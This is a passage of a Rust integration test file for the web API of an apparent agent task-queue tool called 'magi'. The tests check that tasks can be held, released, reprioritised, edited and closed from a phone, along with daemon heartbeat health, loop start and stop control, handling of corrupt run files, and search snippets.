10092 "Try again".to_owned(),
10093 PathBuf::from("/repo/magi"),
10094 Source::Human,
10095 );
10096 task.start("20260902-140502-bbbb".to_owned());
10097 task.fail("agent gave up", 9);
10098 queue.put(&mut task).expect("file the task");
10099
10100 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
10101 assert_eq!(held.status, 200);
10102 assert_eq!(held.json()["status_str"], "held");
10103
10104 let released = f
10105 .post(&format!("/api/queue/{}/release", task.id), None)
10106 .await;
10107 assert_eq!(released.status, 200);
10108 assert_eq!(released.json()["status_str"], "queued");
10109 assert_eq!(
10110 released.json()["attempts"],
10111 0,
10112 "release is a real second chance, not an instant re-hold"
10113 );
10114 assert_eq!(
10115 queue.get(&task.id).expect("reload").status,
10116 TaskStatus::Queued,
10117 "the change is on disk, not only in the reply"
10118 );
10119 assert!(
10120 !f.home
10121 .path()
10122 .join("queue")
10123 .join(format!("{}.lock", task.id))
10124 .exists(),
10125 "the claim the mutation took is released again"
10126 );
10127 }
10128
10129 #[tokio::test]
10130 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
10131 let f = Fixture::start().await;
10132 let queue = f.queue();
10133 let mut task = Task::new(
10134 "busy".to_owned(),
10135 "Running right now".to_owned(),
10136 PathBuf::from("/repo/magi"),
10137 Source::Human,
10138 );
10139 queue.put(&mut task).expect("file the task");
10140 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
10141
10142 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
10143
10144 assert_eq!(res.status, 409);
10145 assert_eq!(
10146 queue.get(&task.id).expect("reload").status,
10147 TaskStatus::Queued,
10148 "the refused hold changed nothing"
10149 );
10150 }
10151
10152 #[tokio::test]
10153 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
10154 let f = Fixture::start().await;
10155 let queue = f.queue();
10156 let mut task = Task::new(
10157 "waiting on the migration".to_owned(),
10158 "Do the thing".to_owned(),
10159 PathBuf::from("/repo/magi"),
10160 Source::Human,
10161 );
10162 queue.put(&mut task).expect("file the task");
10163
10164 let held = f
10165 .post(
10166 &format!("/api/queue/{}/hold", task.id),
10167 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
10168 )
10169 .await;
10170 assert_eq!(held.status, 200, "{}", held.body);
10171 assert_eq!(held.json()["status_str"], "held");
10172 assert_eq!(
10173 held.json()["hold_reason"],
10174 "waiting for 20260101-000000-aaaa to land"
10175 );
10176
10177 let listed = f.get("/api/queue").await.json();
10178 assert_eq!(
10179 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
10180 "the card reads the reason off the same list route"
10181 );
10182
10183 let mut plain = Task::new(
10186 "no reason given".to_owned(),
10187 "Do another thing".to_owned(),
10188 PathBuf::from("/repo/magi"),
10189 Source::Human,
10190 );
10191 queue.put(&mut plain).expect("file the task");
10192 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
10193 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
10194 assert!(held_plain.json()["hold_reason"].is_null());
10195
10196 let released = f
10197 .post(&format!("/api/queue/{}/release", task.id), None)
10198 .await;
10199 assert_eq!(released.status, 200);
10200 assert!(
10201 released.json()["hold_reason"].is_null(),
10202 "a release must clear the reason so the next hold does not inherit it"
10203 );
10204 }
10205
10206 #[tokio::test]
10207 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
10208 let f = Fixture::start().await;
10209 let queue = f.queue();
10210 let mut older = Task::new(
10211 "filed first".to_owned(),
10212 "x".to_owned(),
10213 PathBuf::from("/repo/magi"),
10214 Source::Human,
10215 );
10216 older.id = "20260101-000001-aaaa".to_owned();
10217 let mut newer = Task::new(
10218 "filed second".to_owned(),
10219 "x".to_owned(),
10220 PathBuf::from("/repo/magi"),
10221 Source::Human,
10222 );
10223 newer.id = "20260101-000002-bbbb".to_owned();
10224 queue.put(&mut older).expect("file older");
10225 queue.put(&mut newer).expect("file newer");
10226
10227 let before = f.get("/api/queue").await.json();
10230 assert_eq!(before[0]["id"], newer.id);
10231 assert_eq!(before[1]["id"], older.id);
10232
10233 let raised = f
10237 .post(
10238 &format!("/api/queue/{}/priority", older.id),
10239 Some(r#"{"priority":10}"#),
10240 )
10241 .await;
10242 assert_eq!(raised.status, 200, "{}", raised.body);
10243 assert_eq!(raised.json()["priority"], 10);
10244
10245 let after = f.get("/api/queue").await.json();
10246 let names: Vec<&str> = after
10247 .as_array()
10248 .unwrap()
10249 .iter()
10250 .map(|t| t["id"].as_str().unwrap())
10251 .collect();
10252 assert_eq!(names[0], older.id, "the raised task now sorts first");
10256 }
10257
10258 #[tokio::test]
10259 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
10260 let f = Fixture::start().await;
10261 let queue = f.queue();
10262 let mut task = Task::new(
10263 "in flight".to_owned(),
10264 "x".to_owned(),
10265 PathBuf::from("/repo/magi"),
10266 Source::Human,
10267 );
10268 task.start("20260902-140502-bbbb".to_owned());
10269 queue.put(&mut task).expect("file the task");
10270
10271 let res = f
10272 .post(
10273 &format!("/api/queue/{}/priority", task.id),
10274 Some(r#"{"priority":9}"#),
10275 )
10276 .await;
10277 assert_eq!(res.status, 400, "{}", res.body);
10278 assert!(
10279 res.json()["error"]
10280 .as_str()
10281 .is_some_and(|e| e.contains("running")),
10282 "{}",
10283 res.body
10284 );
10285 assert_eq!(
10286 queue.get(&task.id).expect("reload").priority,
10287 0,
10288 "the refused write must not partially apply"
10289 );
10290 }
10291
10292 #[tokio::test]
10293 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
10294 let f = Fixture::start().await;
10295 let queue = f.queue();
10296 let mut task = Task::new(
10297 "old title".to_owned(),
10298 "old instruction".to_owned(),
10299 PathBuf::from("/repo/magi"),
10300 Source::Agent {
10301 run: "20260101-000000-beef".to_owned(),
10302 node: "implement".to_owned(),
10303 },
10304 );
10305 task.runs.push("20260101-000000-beef".to_owned());
10306 queue.put(&mut task).expect("file the task");
10307 let created_at = task.created_at;
10308
10309 let edited = f
10310 .post(
10311 &format!("/api/queue/{}/edit", task.id),
10312 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
10313 )
10314 .await;
10315 assert_eq!(edited.status, 200, "{}", edited.body);
10316 let body = edited.json();
10317 assert_eq!(body["title"], "new title");
10318 assert_eq!(body["instruction"], "new instruction");
10319 assert_eq!(body["id"], task.id, "editing must not mint a new id");
10320 assert_eq!(body["created_at"], created_at.to_string());
10321 assert_eq!(
10322 body["source"]["kind"], "agent",
10323 "editing a task an agent filed must not turn it human: {body}"
10324 );
10325 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
10326
10327 let reloaded = queue.get(&task.id).expect("reload");
10328 assert_eq!(reloaded.title, "new title");
10329 assert_eq!(reloaded.instruction, "new instruction");
10330 }
10331
10332 #[tokio::test]
10333 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
10334 let tmp = TempDir::new().expect("tempdir");
10337 let repo = tmp.path().join("repo");
10338 std::fs::create_dir_all(&repo).expect("repo dir");
10339 let judge = MOCK_AGENT_TOML.replace(
10340 "printf ok",
10341 r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
10342 );
10343 std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
10344 let f = Fixture::with_repo(repo.clone()).await;
10345 let queue = f.queue();
10346 let mut owner = Task::new(
10347 "owner".to_owned(),
10348 "review it".to_owned(),
10349 repo.clone(),
10350 Source::Human,
10351 );
10352 owner.review_branch = Some("magi/ab12/A".to_owned());
10353 queue.put(&mut owner).expect("file the owner");
10354 let mut task = Task::new(
10355 "draft".to_owned(),
10356 "old".to_owned(),
10357 repo.clone(),
10358 Source::Human,
10359 );
10360 queue.put(&mut task).expect("file the draft");
10361 let url = format!("/api/queue/{}/edit", task.id);
10362
10363 let refused = f
10364 .post(
10365 &url,
10366 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
10367 )
10368 .await;
10369 assert_eq!(refused.status, 409, "{}", refused.body);
10370 let msg = refused.json()["error"]
10371 .as_str()
10372 .unwrap_or_default()
10373 .to_owned();
10374 assert!(
10375 msg.contains("magi/ab12/A") && msg.contains("force"),
10376 "{msg}"
10377 );
10378 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
10379
10380 let forced = f
10381 .post(
10382 &url,
10383 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
10384 )
10385 .await;
10386 assert_eq!(forced.status, 200, "{}", forced.body);
10387 }
10388
10389 #[tokio::test]
10390 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
10391 let f = Fixture::start().await;
10392 let queue = f.queue();
10393 let mut task = Task::new(
10394 "in flight".to_owned(),
10395 "do not touch".to_owned(),
10396 PathBuf::from("/repo/magi"),
10397 Source::Human,
10398 );
10399 task.start("20260902-140502-bbbb".to_owned());
10400 queue.put(&mut task).expect("file the task");
10401
10402 let res = f
10403 .post(
10404 &format!("/api/queue/{}/edit", task.id),
10405 Some(r#"{"title":"x","instruction":"y"}"#),
10406 )
10407 .await;
10408 assert_eq!(res.status, 400, "{}", res.body);
10409 assert!(
10410 res.json()["error"]
10411 .as_str()
10412 .is_some_and(|e| e.contains("running")),
10413 "{}",
10414 res.body
10415 );
10416 assert_eq!(
10417 queue.get(&task.id).expect("reload").instruction,
10418 "do not touch",
10419 "the refused edit must not change the file"
10420 );
10421 }
10422
10423 #[tokio::test]
10424 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
10425 let f = Fixture::start().await;
10426 let queue = f.queue();
10427 let mut task = Task::new(
10428 "busy".to_owned(),
10429 "Running right now".to_owned(),
10430 PathBuf::from("/repo/magi"),
10431 Source::Human,
10432 );
10433 queue.put(&mut task).expect("file the task");
10434 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
10435
10436 let priority = f
10437 .post(
10438 &format!("/api/queue/{}/priority", task.id),
10439 Some(r#"{"priority":9}"#),
10440 )
10441 .await;
10442 assert_eq!(priority.status, 409, "{}", priority.body);
10443
10444 let edit = f
10445 .post(
10446 &format!("/api/queue/{}/edit", task.id),
10447 Some(r#"{"title":"x","instruction":"y"}"#),
10448 )
10449 .await;
10450 assert_eq!(edit.status, 409, "{}", edit.body);
10451 }
10452
10453 #[tokio::test]
10454 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
10455 let f = Fixture::start().await;
10456 let queue = f.queue();
10457 let mut task = Task::new(
10458 "shipped by hand".to_owned(),
10459 "merged outside the loop".to_owned(),
10460 PathBuf::from("/repo/magi"),
10461 Source::Agent {
10462 run: "20260101-000000-b455".to_owned(),
10463 node: "implement".to_owned(),
10464 },
10465 );
10466 task.runs.push("20260101-000000-b455".to_owned());
10467 task.runs.push("20260101-000000-9af4".to_owned());
10468 queue.put(&mut task).expect("file the task");
10469 let created_at = task.created_at;
10470
10471 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10472 assert_eq!(done.status, 200, "{}", done.body);
10473 assert_eq!(done.json()["status_str"], "done");
10474
10475 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
10476 assert_eq!(
10477 reloaded.runs,
10478 ["20260101-000000-b455", "20260101-000000-9af4"]
10479 );
10480 assert_eq!(
10481 reloaded.source,
10482 Source::Agent {
10483 run: "20260101-000000-b455".to_owned(),
10484 node: "implement".to_owned(),
10485 }
10486 );
10487 assert_eq!(reloaded.created_at, created_at);
10488 }
10489
10490 #[tokio::test]
10491 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
10492 let f = Fixture::start().await;
10497 let queue = f.queue();
10498 let mut task = Task::new(
10499 "landed while held".to_owned(),
10500 "x".to_owned(),
10501 PathBuf::from("/repo/magi"),
10502 Source::Human,
10503 );
10504 task.hold_manual(Some("waiting on 3ed9".to_owned()));
10505 queue.put(&mut task).expect("file the held task");
10506
10507 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10508 assert_eq!(done.status, 200, "{}", done.body);
10509 assert_eq!(done.json()["status_str"], "done");
10510 assert!(
10511 done.json()["hold_reason"].is_null(),
10512 "a done task cannot still be waiting on something: {}",
10513 done.body
10514 );
10515 }
10516
10517 #[tokio::test]
10518 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
10519 let f = Fixture::start().await;
10524 let queue = f.queue();
10525 let runs = f.runs();
10526 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
10527 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
10531
10532 let mut task = Task::new(
10533 "landed by hand".to_owned(),
10534 "x".to_owned(),
10535 PathBuf::from("/repo/magi"),
10536 Source::Human,
10537 );
10538 task.runs.push("20260101-000000-doa1".to_owned());
10539 task.runs.push("20260101-000000-doa2".to_owned());
10540 queue.put(&mut task).expect("file the task");
10541
10542 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10543 assert_eq!(done.status, 200, "{}", done.body);
10544
10545 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
10546 .expect("run still on disk under this fixture's own home");
10547 assert_eq!(
10548 reloaded_run.status,
10549 RunStatus::Superseded,
10550 "closing the task by hand must relabel the earlier blocked attempt exactly \
10551 like the loop's own settle path does"
10552 );
10553 }
10554
10555 #[tokio::test]
10556 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
10557 let f = Fixture::start().await;
10562 let queue = f.queue();
10563 let runs = f.runs();
10564 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
10565 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
10566
10567 let mut task = Task::new(
10568 "closed with nothing actually landed".to_owned(),
10569 "x".to_owned(),
10570 PathBuf::from("/repo/magi"),
10571 Source::Human,
10572 );
10573 task.runs.push("20260101-000000-dob1".to_owned());
10574 task.runs.push("20260101-000000-dob2".to_owned());
10575 queue.put(&mut task).expect("file the task");
10576
10577 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10578 assert_eq!(done.status, 200, "{}", done.body);
10579
10580 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
10581 .expect("run still on disk under this fixture's own home");
10582 assert_eq!(
10583 reloaded_run.status,
10584 RunStatus::Blocked,
10585 "the last recorded attempt never landed, so the earlier one must not be \
10586 relabelled as superseded by it"
10587 );
10588 }
10589
10590 #[tokio::test]
10591 async fn unknown_ids_are_json_not_found_on_both_stores() {
10592 let f = Fixture::start().await;
10593
10594 let run = f.get("/api/runs/nosuchrun").await;
10595 let task = f.post("/api/queue/nosuchtask/hold", None).await;
10596
10597 assert_eq!(run.status, 404);
10598 assert_eq!(task.status, 404);
10599 assert!(
10600 run.json()["error"]
10601 .as_str()
10602 .is_some_and(|e| e.contains("run")),
10603 "the error names what was not found: {}",
10604 run.body
10605 );
10606 assert!(
10607 task.json()["error"]
10608 .as_str()
10609 .is_some_and(|e| e.contains("task")),
10610 "the error names what was not found: {}",
10611 task.body
10612 );
10613 }
10614
10615 #[tokio::test]
10616 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
10617 let f = Fixture::start().await;
10618
10619 let missing = f.get("/api/health").await.json();
10620 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
10621
10622 write_daemon(
10623 f.home.path(),
10624 Timestamp::now() - jiff::SignedDuration::from_secs(60),
10625 );
10626 let stale = f.get("/api/health").await.json();
10627 assert_eq!(
10628 stale["daemon"]["running"], false,
10629 "a minute without a heartbeat is a dead daemon, not a busy one"
10630 );
10631 assert!(
10632 stale["daemon"]["stale_for_secs"]
10633 .as_i64()
10634 .is_some_and(|s| s >= 55),
10635 "staleness is reported so the UI can say how long: {stale}"
10636 );
10637
10638 write_daemon(f.home.path(), Timestamp::now());
10639 let fresh = f.get("/api/health").await.json();
10640 assert_eq!(fresh["daemon"]["running"], true);
10641 assert_eq!(fresh["daemon"]["idle"], false);
10642 assert_eq!(fresh["daemon"]["pid"], 4242);
10643 assert_eq!(fresh["daemon"]["completed"], 7);
10644 assert_eq!(
10645 fresh["daemon"]["current"][0]["task"],
10646 "20260902-140501-aaaa"
10647 );
10648 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
10649 }
10650
10651 #[tokio::test]
10652 async fn the_loop_is_not_running_until_something_starts_it() {
10653 let f = Fixture::start().await;
10654
10655 let view = f.get("/api/loop").await.json();
10656 assert_eq!(view["running"], false);
10657 assert_eq!(
10658 view["owned"], false,
10659 "nobody owns a loop that does not exist: {view}"
10660 );
10661 assert_eq!(view["stopping"], false);
10662 assert_eq!(view["last_error"], Value::Null);
10663 assert_eq!(view["daemon"]["running"], false);
10664 assert_eq!(
10665 view["repo"], "/repo/magi",
10666 "the repository a start would use, named before it is started"
10667 );
10668 }
10669
10670 #[tokio::test]
10671 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
10672 let f = Fixture::start().await;
10673
10674 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10675 assert_eq!(res.status, 200, "{}", res.body);
10676 let view = res.json();
10677 assert_eq!(view["running"], true);
10678 assert_eq!(
10679 view["owned"], true,
10680 "the loop the UI started is the UI's own to stop: {view}"
10681 );
10682 assert_eq!(
10683 view["merge"],
10684 Value::Null,
10685 "no override was given, so each repository's own config decides"
10686 );
10687
10688 let health = f.get("/api/health").await.json();
10692 assert_eq!(health["loop"]["running"], true, "{health}");
10693 assert_eq!(health["loop"]["owned"], true, "{health}");
10694
10695 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10696 }
10697
10698 #[tokio::test]
10699 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
10700 let f = Fixture::start().await;
10701 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10702 assert_eq!(first.status, 200, "{}", first.body);
10703
10704 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10705 assert_eq!(
10706 again.status, 409,
10707 "two loops on one queue race for the same claims: {}",
10708 again.body
10709 );
10710 assert!(
10711 again.json()["error"]
10712 .as_str()
10713 .is_some_and(|e| e.contains("already running the loop")),
10714 "the refusal has to say why: {}",
10715 again.body
10716 );
10717 assert_eq!(
10718 f.get("/api/loop").await.json()["running"],
10719 true,
10720 "and the loop that was already running is untouched by it"
10721 );
10722
10723 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10724 }
10725
10726 #[tokio::test]
10727 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
10728 let f = Fixture::start().await;
10729 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10730
10731 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10732 assert_eq!(
10733 res.status, 200,
10734 "the answer must not wait for the loop: a run in flight is tens of \
10735 minutes and the operator is holding a phone: {}",
10736 res.body
10737 );
10738
10739 let view = settled(&f, |v| v["running"] == false).await;
10740 assert_eq!(view["owned"], false);
10741 assert_eq!(
10742 view["stopping"], false,
10743 "a loop that has stopped is not still stopping: {view}"
10744 );
10745 assert_eq!(
10746 view["last_error"],
10747 Value::Null,
10748 "a loop that was asked to stop did not fail: {view}"
10749 );
10750
10751 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10754 assert_eq!(twice.status, 200, "{}", twice.body);
10755 }
10756
10757 #[tokio::test]
10758 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
10759 let f = Fixture::start().await;
10760 write_daemon(f.home.path(), Timestamp::now());
10763
10764 let view = f.get("/api/loop").await.json();
10765 assert_eq!(view["running"], false, "not in this process: {view}");
10766 assert_eq!(view["owned"], false, "and not this process's to control");
10767 assert_eq!(
10768 view["daemon"]["running"], true,
10769 "but a loop is alive somewhere, which is what the UI must say"
10770 );
10771 assert_eq!(view["daemon"]["pid"], 4242);
10772
10773 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
10774 let res = f.post("/api/loop", Some(body)).await;
10775 assert_eq!(
10776 res.status, 409,
10777 "neither button may pretend to work on someone else's loop: {}",
10778 res.body
10779 );
10780 assert!(
10781 res.json()["error"]
10782 .as_str()
10783 .is_some_and(|e| e.contains("4242")),
10784 "the refusal has to name the process the operator must go to: {}",
10785 res.body
10786 );
10787 }
10788 assert_eq!(
10789 f.get("/api/loop").await.json()["running"],
10790 false,
10791 "and the refusal started nothing"
10792 );
10793 }
10794
10795 #[tokio::test]
10796 async fn a_stale_status_file_is_not_a_foreign_owner() {
10797 let f = Fixture::start().await;
10798 write_daemon(
10799 f.home.path(),
10800 Timestamp::now() - jiff::SignedDuration::from_secs(60),
10801 );
10802
10803 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10804 assert_eq!(
10805 res.status, 200,
10806 "a daemon killed a minute ago must not lock the loop out of its \
10807 own home for good: {}",
10808 res.body
10809 );
10810 assert_eq!(res.json()["running"], true);
10811
10812 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10813 }
10814
10815 #[tokio::test]
10816 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
10817 let f = Fixture::start().await;
10818 let before = f.get("/api/health").await.json()["loop_rev"]
10819 .as_u64()
10820 .expect("a loop revision");
10821
10822 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10823
10824 let after = f.get("/api/health").await.json()["loop_rev"]
10825 .as_u64()
10826 .expect("a loop revision");
10827 assert!(
10828 after > before,
10829 "the loop is in-process state, so this counter is the only thing \
10830 that tells a second device the first one started it: {before} -> \
10831 {after}"
10832 );
10833
10834 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10835 }
10836
10837 #[tokio::test]
10838 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
10839 let f = Fixture::with_loop(launch_broken).await;
10840
10841 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10842 assert_eq!(
10843 res.status, 200,
10844 "starting it is not the failure: {}",
10845 res.body
10846 );
10847
10848 let view = settled(&f, |v| v["last_error"].is_string()).await;
10849 assert_eq!(
10850 view["running"], false,
10851 "a loop that died must not read as running, or the operator has \
10852 nothing to press: {view}"
10853 );
10854 assert_eq!(view["owned"], false);
10855 assert!(
10856 view["last_error"]
10857 .as_str()
10858 .is_some_and(|e| e.contains("read-only file system")),
10859 "the phone is where a loop that died at 3am is visible: {view}"
10860 );
10861
10862 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10865 assert_eq!(again.status, 200, "{}", again.body);
10866 assert!(
10867 again.json()["last_error"]
10868 .as_str()
10869 .is_none_or(|e| !e.contains("read-only file system")),
10870 "a fresh start does not keep showing why the last one died: {}",
10871 again.body
10872 );
10873 }
10874
10875 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
10887 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
10888 let home = TempDir::new().expect("temp home");
10889 let runs = home.path().join("runs");
10890 std::fs::create_dir_all(&runs).expect("runs dir");
10891 let ui = Ui::new(
10892 Queue::at(home.path().join("queue")),
10893 Questions::at(home.path().join("questions")),
10894 Talks::at(home.path().join("talks")),
10895 runs,
10896 home.path().to_path_buf(),
10897 PathBuf::from("/repo/magi"),
10898 )
10899 .with_worktrees_root(home.path().join("wt"))
10900 .with_launch(launch_knocking_on_the_way_out);
10901 let looping = ui.looping();
10902 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
10903 .await
10904 .expect("bind loopback");
10905 let addr = listener.local_addr().expect("local addr");
10906 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
10907 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
10908
10909 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
10910 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
10911
10912 let bound = std::sync::Mutex::new(None);
10927 hand_over(home.path(), &looping, served, |_| {
10928 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
10929 let attempt = loop {
10930 match std::net::TcpListener::bind(addr) {
10931 Ok(l) => {
10932 drop(l);
10933 break Ok(());
10934 }
10935 Err(e)
10936 if e.kind() == std::io::ErrorKind::AddrInUse
10937 && std::time::Instant::now() < deadline =>
10938 {
10939 std::thread::sleep(std::time::Duration::from_millis(10));
10940 }
10941 Err(e) => break Err(e.to_string()),
10942 }
10943 };
10944 *bound.lock().expect("bound") = Some(attempt);
10945 Ok(1)
10946 })
10947 .await
10948 .expect("hand over");
10949
10950 assert_eq!(
10951 *PARK_HEARD.lock().expect("park heard"),
10952 Some(200),
10953 "the deck must answer while the loop is parking"
10954 );
10955 let attempt = bound
10956 .lock()
10957 .expect("bound")
10958 .take()
10959 .expect("the successor was started");
10960 assert!(
10961 attempt.is_ok(),
10962 "and the address must be free by the time it is: {attempt:?}"
10963 );
10964 }
10965
10966 #[tokio::test]
10967 async fn a_newer_daemon_status_file_still_renders() {
10968 let f = Fixture::start().await;
10969 std::fs::write(
10972 f.home.path().join("daemon.json"),
10973 serde_json::json!({
10974 "schema": 2,
10975 "updated_at": Timestamp::now().to_string(),
10976 "idle": true,
10977 "surprise": { "nested": [1, 2, 3] },
10978 })
10979 .to_string(),
10980 )
10981 .expect("write daemon.json");
10982
10983 let health = f.get("/api/health").await;
10984
10985 assert_eq!(health.status, 200);
10986 assert_eq!(health.json()["daemon"]["running"], true);
10987 }
10988
10989 #[tokio::test]
10990 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
10991 let f = Fixture::start().await;
10992 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
10993 let broken = f.runs().join("20260902-140502-bad");
10994 std::fs::create_dir_all(&broken).expect("run dir");
10995 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
10996
10997 let list = f.get("/api/runs").await;
10998 let detail = f.get("/api/runs/20260902-140502-bad").await;
10999
11000 assert_eq!(list.status, 200);
11001 let listed = list.json();
11002 let ids: Vec<&str> = listed
11003 .as_array()
11004 .expect("an array")
11005 .iter()
11006 .map(|r| r["id"].as_str().expect("an id"))
11007 .collect();
11008 assert_eq!(
11009 ids,
11010 vec!["20260902-140501-good"],
11011 "one unreadable run must not cost the operator the whole history"
11012 );
11013 assert_eq!(detail.status, 500);
11014 assert!(
11015 detail.json()["error"]
11016 .as_str()
11017 .is_some_and(|e| e.contains("run.json")),
11018 "the failure names the file to look at: {}",
11019 detail.body
11020 );
11021 let health = f.get("/api/health").await;
11025 assert_eq!(health.json()["runs_unreadable"], 1);
11026 }
11027
11028 #[tokio::test]
11030 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
11031 let f = Fixture::start().await;
11032 let runs = f.runs();
11033 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
11034 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
11035 let path = runs.join("20260902-140502-bbbb").join("run.json");
11038 let mut v: serde_json::Value =
11039 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
11040 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
11041 std::fs::write(&path, v.to_string()).unwrap();
11042 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
11043 std::fs::write(
11044 runs.join("20260902-140503-cccc").join("run.json"),
11045 "{ not json",
11046 )
11047 .unwrap();
11048
11049 let res = f.get("/api/search?scope=runs&q=quokka").await;
11050 assert_eq!(res.status, 200, "{}", res.body);
11051 let v = res.json();
11052 assert_eq!(v["total"], 1, "{v}");
11053 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
11054 assert_eq!(v["hits"][0]["field"], "text");
11055 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
11056 let parts = v["hits"][0]["snippet"].as_array().unwrap();
11057 assert!(
11058 parts
11059 .iter()
11060 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
11061 "{v}"
11062 );
11063 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
11064 assert_eq!(
11065 flat, "The Quokka leaks across threads",
11066 "whitespace is collapsed"
11067 );
11068
11069 let both = f
11071 .get("/api/search?scope=runs&q=MOBILE%20quokka")
11072 .await
11073 .json();
11074 assert_eq!(both["total"], 1, "{both}");
11075 let neither = f
11076 .get("/api/search?scope=runs&q=quokka%20zebra")
11077 .await
11078 .json();
11079 assert_eq!(neither["total"], 0, "{neither}");
11080 let stmt = f
11082 .get("/api/search?scope=runs&q=mobile%20first")
11083 .await
11084 .json();
11085 assert_eq!(stmt["total"], 2, "{stmt}");
11086 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
11087 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
11088 }
11089
11090 #[test]
11091 fn snippet_ignores_terms_longer_than_the_field() {
11092 let terms = ["ok".to_owned(), "elephant".to_owned()];
11093 let parts = snippet_of("ok", &terms);
11094 assert_eq!(
11095 parts,
11096 vec![SnippetPart {
11097 text: "ok".to_owned(),
11098 hit: true
11099 }]
11100 );
11101 }
11102
11103 #[test]
11104 fn snippet_marks_matches_longer_than_the_window() {
11105 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
11106 let hit_len = |parts: &[SnippetPart]| -> usize {
11107 parts
11108 .iter()
11109 .filter(|p| p.hit)
11110 .map(|p| p.text.chars().count())
11111 .sum()
11112 };
11113 let total =
11114 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
11115
11116 let long = "a".repeat(120);
11117 let parts = snippet_of(&long, std::slice::from_ref(&long));
11118 assert!(hit_len(&parts) > 0, "{parts:?}");
11119 assert!(total(&parts) <= cap);
11120
11121 let ja = "あ".repeat(130);
11122 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
